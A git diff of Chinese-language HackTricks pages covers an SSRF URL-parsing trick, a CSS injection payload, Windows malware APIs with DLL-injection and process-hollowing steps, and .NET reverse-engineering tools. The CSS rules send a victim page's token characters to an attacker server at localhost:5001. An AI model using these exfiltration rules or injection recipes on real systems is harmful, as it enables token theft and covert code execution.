### 反斜杠技巧
|
||||
|
||||
*反斜杠技巧* 利用了 [WHATWG URL 标准](https://url.spec.whatwg.org/#url-parsing) 和 [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) 之间的差异。虽然 RFC3986 是 URI 的通用框架,WHATWG 则专门针对 web URL,并被现代浏览器采用。关键区别在于 WHATWG 标准将反斜杠(`\`)视为等同于正斜杠(`/`),影响了 URL 的解析方式,特别是在 URL 中从主机名到路径的转换上。
|
||||
_backslash-trick_ 利用了[WHATWG URL标准](https://url.spec.whatwg.org/#url-parsing)和[RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B)之间的差异。虽然RFC3986是URI的通用框架,WHATWG专门针对Web URL,并被现代浏览器采用。关键区别在于WHATWG标准将反斜杠(`\`)视为等同于正斜杠(`/`),影响URL的解析方式,特别是在URL中从主机名到路径的转换。
|
||||
|
||||
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
||||
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
||||
|
||||
### 其他混淆
|
||||
|
||||
|
@ -210,28 +202,21 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
|||
|
||||
图片来源:[https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找出最重要的漏洞,这样您就可以更快地修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从 API 到 Web 应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的公司广告或下载 HackTricks 的 PDF,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家 NFT 的收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,20 +8,12 @@
|
|||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 探索我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便更快修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
{% code title="victim.html" %}
|
||||
```html
|
||||
<!doctype html>
|
||||
|
@ -204,6 +196,7 @@ input[value$="4"]{--e0:url(http://localhost:5001/leak?post=4)}
|
|||
input[value$="5"]{--e0:url(http://localhost:5001/leak?post=5)}
|
||||
input[value$="6"]{--e0:url(http://localhost:5001/leak?post=6)}
|
||||
input[value$="7"]{--e0:url(http://localhost:5001/leak?post=7)}
|
||||
```html
|
||||
input[value$="8"]{--e0:url(http://localhost:5001/leak?post=8)}
|
||||
input[value$="9"]{--e0:url(http://localhost:5001/leak?post=9)}
|
||||
input[value$="a"]{--e0:url(http://localhost:5001/leak?post=a)}
|
||||
|
@ -235,22 +228,16 @@ input[value=]{list-style:url(http://localhost:5001/end?token=&)};
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,这样你就可以更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,13 +1 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
# 无线电黑客攻击
|
||||
|
|
|
@ -1,30 +1,24 @@
|
|||
# 常用于恶意软件中的API
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或**关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
## 通用
|
||||
|
||||
发现最重要的漏洞,以便更快修复。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
### 网络
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
# 通用
|
||||
|
||||
## 网络
|
||||
|
||||
| 原始套接字 | WinAPI套接字 |
|
||||
| 原始套接字 | WinAPI套接字 |
|
||||
| ------------- | -------------- |
|
||||
| socket() | WSAStratup() |
|
||||
| bind() | bind() |
|
||||
|
@ -35,9 +29,9 @@
|
|||
| write() | send() |
|
||||
| shutdown() | WSACleanup() |
|
||||
|
||||
## 持久性
|
||||
### 持久性
|
||||
|
||||
| 注册表 | 文件 | 服务 |
|
||||
| 注册表操作 | 文件操作 | 服务操作 |
|
||||
| ---------------- | ------------- | ---------------------------- |
|
||||
| RegCreateKeyEx() | GetTempPath() | OpenSCManager |
|
||||
| RegOpenKeyEx() | CopyFile() | CreateService() |
|
||||
|
@ -45,7 +39,7 @@
|
|||
| RegDeleteKeyEx() | WriteFile() | |
|
||||
| RegGetValue() | ReadFile() | |
|
||||
|
||||
## 加密
|
||||
### 加密
|
||||
|
||||
| 名称 |
|
||||
| --------------------- |
|
||||
|
@ -56,34 +50,34 @@
|
|||
| CryptDecrypt() |
|
||||
| CryptReleaseContext() |
|
||||
|
||||
## 反分析/虚拟机
|
||||
### 反分析/虚拟机
|
||||
|
||||
| 函数名称 | 汇编指令 |
|
||||
| --------------------------------------------------------- | --------------------- |
|
||||
| IsDebuggerPresent() | CPUID() |
|
||||
| GetSystemInfo() | IN() |
|
||||
| GlobalMemoryStatusEx() | |
|
||||
| GetVersion() | |
|
||||
| CreateToolhelp32Snapshot \[检查进程是否运行] | |
|
||||
| CreateFileW/A \[检查文件是否存在] | |
|
||||
| 函数名称 | 汇编指令 |
|
||||
| -------------------------------------------------------- | ------------------ |
|
||||
| IsDebuggerPresent() | CPUID() |
|
||||
| GetSystemInfo() | IN() |
|
||||
| GlobalMemoryStatusEx() | |
|
||||
| GetVersion() | |
|
||||
| CreateToolhelp32Snapshot \[检查进程是否运行] | |
|
||||
| CreateFileW/A \[检查文件是否存在] | |
|
||||
|
||||
## 隐蔽
|
||||
### 隐蔽性
|
||||
|
||||
| 名称 | |
|
||||
| ------------------------ | -------------------------------------------------------------------------- |
|
||||
| VirtualAlloc | 分配内存(打包器) |
|
||||
| VirtualProtect | 更改内存权限(打包器给予执行权限给一个部分) |
|
||||
| ReadProcessMemory | 注入到外部进程 |
|
||||
| WriteProcessMemoryA/W | 注入到外部进程 |
|
||||
| VirtualAlloc | 分配内存(压缩器) |
|
||||
| VirtualProtect | 更改内存权限(使压缩器给予某个部分执行权限) |
|
||||
| ReadProcessMemory | 注入到外部进程 |
|
||||
| WriteProcessMemoryA/W | 注入到外部进程 |
|
||||
| NtWriteVirtualMemory | |
|
||||
| CreateRemoteThread | DLL/进程注入... |
|
||||
| CreateRemoteThread | DLL/进程注入... |
|
||||
| NtUnmapViewOfSection | |
|
||||
| QueueUserAPC | |
|
||||
| CreateProcessInternalA/W | |
|
||||
|
||||
## 执行
|
||||
### 执行
|
||||
|
||||
| 函数名称 |
|
||||
| 函数名称 |
|
||||
| ---------------- |
|
||||
| CreateProcessA/W |
|
||||
| ShellExecute |
|
||||
|
@ -91,24 +85,24 @@
|
|||
| ResumeThread |
|
||||
| NtResumeThread |
|
||||
|
||||
## 其他
|
||||
### 其他
|
||||
|
||||
* GetAsyncKeyState() -- 键盘记录
|
||||
* SetWindowsHookEx -- 键盘记录
|
||||
* GetForeGroundWindow -- 获取运行窗口名称(或浏览器中的网站)
|
||||
* LoadLibrary() -- 导入库
|
||||
* GetProcAddress() -- 导入库
|
||||
* CreateToolhelp32Snapshot() -- 列出运行中的进程
|
||||
* GetDC() -- 截图
|
||||
* BitBlt() -- 截图
|
||||
* InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- 访问互联网
|
||||
* FindResource(), LoadResource(), LockResource() -- 访问可执行文件的资源
|
||||
- GetAsyncKeyState() -- 键盘记录
|
||||
- SetWindowsHookEx -- 键盘记录
|
||||
- GetForeGroundWindow -- 获取运行窗口名称(或浏览器中的网站)
|
||||
- LoadLibrary() -- 导入库
|
||||
- GetProcAddress() -- 导入库
|
||||
- CreateToolhelp32Snapshot() -- 列出运行中的进程
|
||||
- GetDC() -- 截屏
|
||||
- BitBlt() -- 截屏
|
||||
- InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- 访问互联网
|
||||
- FindResource(), LoadResource(), LockResource() -- 访问可执行文件的资源
|
||||
|
||||
# 恶意软件技术
|
||||
## 恶意软件技术
|
||||
|
||||
## DLL注入
|
||||
### DLL注入
|
||||
|
||||
在另一个进程内执行任意DLL
|
||||
在另一个进程中执行任意DLL
|
||||
|
||||
1. 定位要注入恶意DLL的进程:CreateToolhelp32Snapshot,Process32First,Process32Next
|
||||
2. 打开进程:GetModuleHandle,GetProcAddress,OpenProcess
|
||||
|
@ -117,12 +111,12 @@
|
|||
|
||||
其他要使用的函数:NTCreateThreadEx,RtlCreateUserThread
|
||||
|
||||
## 反射式DLL注入
|
||||
### 反射式DLL注入
|
||||
|
||||
加载恶意DLL而不调用常规的Windows API调用。\
|
||||
DLL被映射到进程内,它将解析导入地址,修复重定位并调用DllMain函数。
|
||||
加载恶意DLL而无需调用常规的Windows API调用。\
|
||||
DLL被映射到进程内部,将解析导入地址,修复重定位并调用DllMain函数。
|
||||
|
||||
## 线程劫持
|
||||
### 线程劫持
|
||||
|
||||
找到进程中的线程并使其加载恶意DLL
|
||||
|
||||
|
@ -132,11 +126,11 @@ DLL被映射到进程内,它将解析导入地址,修复重定位并调用Dl
|
|||
4. 将恶意DLL的路径写入受害进程:VirtualAllocEx,WriteProcessMemory
|
||||
5. 恢复加载库的线程:ResumeThread
|
||||
|
||||
## PE注入
|
||||
### PE注入
|
||||
|
||||
Portable Execution Injection:可执行文件将被写入受害进程的内存中,并从那里执行。
|
||||
|
||||
## 进程空壳化
|
||||
### 进程空壳化
|
||||
|
||||
恶意软件将从进程的内存中取消映射合法代码并加载恶意二进制文件
|
||||
|
||||
|
@ -145,20 +139,14 @@ Portable Execution Injection:可执行文件将被写入受害进程的内存
|
|||
3. 将恶意二进制文件写入进程内存:VirtualAllocEc,WriteProcessMemory
|
||||
4. 设置入口点并执行:SetThreadContext,ResumeThread
|
||||
|
||||
# 钩子
|
||||
## 钩子
|
||||
|
||||
* **SSDT**(系统服务描述符表)指向内核函数(ntoskrnl.exe)或GUI驱动程序(win32k.sys),因此用户进程可以调用这些函数。
|
||||
* Rootkit可能会修改这些指针以指向他控制的地址
|
||||
* **IRP**(I/O请求数据包)从一个组件传输数据片段到另一个组件。几乎所有内核都使用IRP,每个设备对象都有自己的函数表,可以对其进行钩取:DKOM(直接内核对象操作)
|
||||
* **IAT**(导入地址表)用于解析依赖关系。可以钩取此表以劫持将要调用的代码。
|
||||
* **EAT**(导出地址表)钩取。这些钩可以从**用户空间**完成。目标是钩取DLL导出的函数。
|
||||
* **内联钩子**:这种类型很难实现。这涉及修改函数本身的代码。也许通过在函数开头放置跳转来实现。
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
发现最重要的漏洞,以便更快修复。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
- **SSDT**(系统服务描述符表)指向内核函数(ntoskrnl.exe)或GUI驱动程序(win32k.sys),因此用户进程可以调用这些函数。
|
||||
- Rootkit可能会修改这些指针以指向他控制的地址
|
||||
- **IRP**(I/O请求数据包)将数据片段从一个组件传输到另一个组件。几乎所有内核组件都使用IRP,每个设备对象都有自己的函数表,可以对其进行钩取:DKOM(直接内核对象操作)
|
||||
- **IAT**(导入地址表)有助于解析依赖关系。可以钩取此表以劫持将要调用的代码。
|
||||
- **EAT**(导出地址表)钩取。这些钩可以从**用户空间**执行。目标是钩取DLL导出的函数。
|
||||
- **内联钩子**:这种类型很难实现。这涉及修改函数本身的代码。也许是通过在函数开头放置跳转来实现的。
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -166,10 +154,10 @@ Portable Execution Injection:可执行文件将被写入受害进程的内存
|
|||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或**关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,20 +8,12 @@
|
|||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## 基于ImGui的逆向工具
|
||||
|
||||
软件:
|
||||
|
@ -34,7 +26,7 @@
|
|||
|
||||
* 使用[https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html)将wasm(二进制)反编译为wat(明文)
|
||||
* 使用[https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/)将wat编译为wasm
|
||||
* 您还可以尝试使用[https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/)进行反编译
|
||||
* 您也可以尝试使用[https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/)进行反编译
|
||||
|
||||
软件:
|
||||
|
||||
|
@ -47,28 +39,28 @@
|
|||
|
||||
dotPeek是一个反编译器,可以**反编译和检查多种格式**,包括**库**(.dll)、**Windows元数据文件**(.winmd)和**可执行文件**(.exe)。反编译后,一个程序集可以保存为Visual Studio项目(.csproj)。
|
||||
|
||||
这里的优点是,如果需要从旧程序集中恢复丢失的源代码,此操作可以节省时间。此外,dotPeek提供了方便的导航功能,使其成为**Xamarin算法分析**的完美工具之一。 
|
||||
这里的优点是,如果需要从旧程序集中恢复丢失的源代码,此操作可以节省时间。此外,dotPeek提供了方便的导航功能,使其成为**Xamarin算法分析**的完美工具之一。
|
||||
|
||||
### [.Net Reflector](https://www.red-gate.com/products/reflector/)
|
||||
|
||||
具有全面的插件模型和API,可以根据您的实际需求扩展工具,.NET Reflector节省时间并简化开发。让我们看看这个工具提供的众多逆向工程服务:
|
||||
|
||||
* 提供数据如何在库或组件中流动的见解
|
||||
* 提供对.NET语言和框架的实现和使用的见解
|
||||
* 查找未记录和未公开的功能,以更充分利用所使用的API和技术。
|
||||
* 提供了数据如何在库或组件中流动的见解
|
||||
* 提供了.NET语言和框架的实现和使用见解
|
||||
* 查找未记录和未公开的功能,以更充分利用所使用的API和技术
|
||||
* 查找依赖项和不同的程序集
|
||||
* 追踪代码中错误的确切位置,第三方组件和库。 
|
||||
* 调试所有您使用的.NET代码的源代码。
|
||||
* 追踪代码中所有.NET代码的源代码的确切位置
|
||||
* 调试您使用的所有.NET代码的源代码。
|
||||
|
||||
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
|
||||
|
||||
[Visual Studio Code的ILSpy插件](https://github.com/icsharpcode/ilspy-vscode):您可以在任何操作系统中使用它(您可以直接从VSCode安装,无需下载git。单击**扩展**,然后**搜索ILSpy**)。\
|
||||
如果您需要**反编译**、**修改**和**重新编译**,您可以使用:[**https://github.com/0xd4d/dnSpy/releases**](https://github.com/0xd4d/dnSpy/releases)(**右键单击 -> 修改方法**以更改函数内部的内容)。\
|
||||
如果您需要**反编译**,**修改**和**重新编译**,您可以使用:[**https://github.com/0xd4d/dnSpy/releases**](https://github.com/0xd4d/dnSpy/releases)(**右键单击 -> 修改方法**以更改函数内部的内容)。\
|
||||
您还可以尝试[https://www.jetbrains.com/es-es/decompiler/](https://www.jetbrains.com/es-es/decompiler/)
|
||||
|
||||
### DNSpy日志记录
|
||||
|
||||
为了让**DNSpy在文件中记录一些信息**,您可以使用以下.NET代码:
|
||||
为了使**DNSpy在文件中记录一些信息**,您可以使用以下.NET代码行:
|
||||
```bash
|
||||
using System.IO;
|
||||
path = "C:\\inetpub\\temp\\MyTest2.txt";
|
||||
|
@ -99,7 +91,7 @@ DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
|
|||
|
||||
![](<../../.gitbook/assets/image (279).png>)
|
||||
|
||||
这是必要的,因为如果您不这样做,在**运行时**会对代码应用几种**优化**,可能会导致在调试时**断点永远不会触发**或一些**变量不存在**。
|
||||
这是必要的,因为如果您不这样做,在**运行时**会对代码应用几种**优化**,可能会导致在调试时**断点永远不会被触发**或一些**变量不存在**。
|
||||
|
||||
然后,如果您的 .Net 应用程序正在由**IIS**运行,您可以使用以下方法**重新启动**它:
|
||||
```
|
||||
|
@ -109,21 +101,21 @@ iisreset /noforce
|
|||
|
||||
![](<../../.gitbook/assets/image (280).png>)
|
||||
|
||||
然后选择**w3wp.exe**以附加到**IIS服务器**,然后点击**附加**:
|
||||
然后选择**w3wp.exe**以附加到**IIS服务器**,然后单击**附加**:
|
||||
|
||||
![](<../../.gitbook/assets/image (281).png>)
|
||||
|
||||
现在我们正在调试该进程,是时候停止它并加载所有模块了。首先点击 _Debug >> Break All_,然后点击 _**Debug >> Windows >> Modules**_:
|
||||
现在我们正在调试该进程,是时候停止它并加载所有模块了。首先单击 _调试 >> 中断所有_,然后单击 _**调试 >> 窗口 >> 模块**_:
|
||||
|
||||
